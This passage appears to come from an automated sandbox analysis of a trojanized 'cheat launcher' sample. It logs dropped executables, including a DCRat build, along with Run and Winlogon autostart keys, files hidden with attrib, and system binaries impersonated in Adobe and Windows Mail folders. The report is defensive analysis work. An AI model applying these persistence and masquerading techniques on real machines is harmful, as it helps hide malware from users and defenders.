Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll

Source: C:\Users\user\Desktop\QIjBj1l8We.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\systeminfo.exe systeminfo

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\agentInto\fontsessionruntime.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Resource\Font\seCeUYjhGIFplo.exe
Source: C:\agentInto\fontsessionruntime.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Resource\Font\669269bdeab909
Source: C:\agentInto\fontsessionruntime.exe	Directory created: C:\Program Files\Windows Mail\StartMenuExperienceHost.exe
Source: C:\agentInto\fontsessionruntime.exe	Directory created: C:\Program Files\Windows Mail\55b276f4edf653

Source: QIjBj1l8We.exe

Static file information: File size 12016128 > 1048576

Source: QIjBj1l8We.exe

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0xb73c00

Source:	Binary string: C:\src\vcpkg\buildtrees\curl\x64-windows-rel\lib\libcurl.pdb source: libcurl.dll.14.dr
Source:	Binary string: W.PDB/ source: x12.exe.0.dr

Source: SolaraBootstrapper.exe.10.dr

Static PE information: 0x9EA529E4 [Tue May 5 20:04:52 2054 UTC]

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\gkfhm5n3\gkfhm5n3.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\gkfhm5n3\gkfhm5n3.cmdline"

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

File created: C:\agentInto\__tmp_rar_sfx_access_check_4896687

Source: DCRatBuild.exe.10.dr	Static PE information: section name: .didat
Source: Built.exe.10.dr	Static PE information: section name: _RDATA
Source: VCRUNTIME140.dll.13.dr	Static PE information: section name: fothk
Source: VCRUNTIME140.dll.13.dr	Static PE information: section name: _RDATA
Source: libffi-8.dll.13.dr	Static PE information: section name: UPX2
Source: msvcp140.dll.14.dr	Static PE information: section name: .didat
Source: vcruntime140.dll.14.dr	Static PE information: section name: _RDATA
Source: WebView2Loader.dll.14.dr	Static PE information: section name: .00cfg
Source: WebView2Loader.dll.14.dr	Static PE information: section name: .gehcont
Source: WebView2Loader.dll.14.dr	Static PE information: section name: _RDATA
Source: ws2_32.dll.14.dr	Static PE information: section name: .wpp_sf
Source: ws2_32.dll.14.dr	Static PE information: section name: .didat
Source: zlib1.dll.14.dr	Static PE information: section name: .xdata

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Creates processes via WMI

Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\agentInto\fontsessionruntime.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Drops executable to a common third party application directory

Source: C:\agentInto\fontsessionruntime.exe	File written: C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\tasklist.exe
Source: C:\agentInto\fontsessionruntime.exe	File written: C:\Program Files\Adobe\Acrobat DC\Resource\Font\seCeUYjhGIFplo.exe

Uses attrib.exe to hide files

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\Temp\Built.exe"

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe

Source: C:\agentInto\fontsessionruntime.exe	File created: C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\tasklist.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\Newtonsoft.Json.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI66162\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\cpr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI66162\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\x8.exe	File created: C:\Users\user\AppData\Local\Temp\x7.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\x9.exe	File created: C:\Users\user\AppData\Local\Temp\x8.exe	Jump to dropped file
Source: C:\agentInto\fontsessionruntime.exe	File created: C:\Recovery\seCeUYjhGIFplo.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\Microsoft.Web.WebView2.Wpf.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	File created: C:\agentInto\fontsessionruntime.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\Microsoft.Web.WebView2.WinForms.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\Microsoft.Web.WebView2.Core.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\x10.exe	File created: C:\Users\user\AppData\Local\Temp\x9.exe	Jump to dropped file
Source: C:\agentInto\fontsessionruntime.exe	File created: C:\Program Files\Windows Mail\StartMenuExperienceHost.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI66162\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	File created: C:\Users\user\AppData\Local\Temp\Built.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	File created: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI66162\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI66162\python312.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI66162\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\x11.exe	File created: C:\Users\user\AppData\Local\Temp\x10.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\libcurl.dll	Jump to dropped file
Source: C:\agentInto\fontsessionruntime.exe	File created: C:\Program Files\Adobe\Acrobat DC\Resource\Font\seCeUYjhGIFplo.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\ws2_32.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\x4.exe	File created: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI66162\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	File created: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI66162\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI66162\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\x5.exe	File created: C:\Users\user\AppData\Local\Temp\x4.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI66162\rar.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\zlib1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI66162\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\WebView2Loader.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\x6.exe	File created: C:\Users\user\AppData\Local\Temp\x5.exe	Jump to dropped file
Source: C:\agentInto\fontsessionruntime.exe	File created: C:\Recovery\fontdrvhost.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI66162\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\gkfhm5n3\gkfhm5n3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI66162\libssl-3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI66162\libcrypto-3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	File created: C:\Users\user\AppData\Local\Temp\Solara.Dir\Wpf.Ui.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI66162\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI66162\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\x12.exe	File created: C:\Users\user\AppData\Local\Temp\x11.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI66162\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\QIjBj1l8We.exe	File created: C:\Users\user\AppData\Local\Temp\x12.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\x7.exe	File created: C:\Users\user\AppData\Local\Temp\x6.exe	Jump to dropped file
Source: C:\agentInto\fontsessionruntime.exe	File created: C:\Windows\ShellComponents\tasklist.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI66162\libffi-8.dll	Jump to dropped file

Source: C:\agentInto\fontsessionruntime.exe

File created: C:\Windows\ShellComponents\tasklist.exe

Jump to dropped file

Boot Survival

Creates an autostart registry key pointing to binary in C:\Windows

Source: C:\agentInto\fontsessionruntime.exe

Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run tasklist

Creates an undocumented autostart registry key

Source: C:\agentInto\fontsessionruntime.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\agentInto\fontsessionruntime.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\agentInto\fontsessionruntime.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\agentInto\fontsessionruntime.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\agentInto\fontsessionruntime.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell
Source: C:\agentInto\fontsessionruntime.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell

Creates multiple autostart registry keys

Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run StartMenuExperienceHost
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run seCeUYjhGIFplo
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fontdrvhost
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run tasklist

Source: C:\Users\user\AppData\Local\Temp\Built.exe

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr

Source: C:\Users\user\AppData\Local\Temp\Built.exe

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr

Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run tasklist
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run tasklist
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run tasklist
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run tasklist
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run seCeUYjhGIFplo
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run seCeUYjhGIFplo
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run seCeUYjhGIFplo
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run seCeUYjhGIFplo
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fontdrvhost
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fontdrvhost
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fontdrvhost
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fontdrvhost
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run StartMenuExperienceHost
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run StartMenuExperienceHost
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run tasklist
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run tasklist
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run seCeUYjhGIFplo
Source: C:\agentInto\fontsessionruntime.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run seCeUYjhGIFplo

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
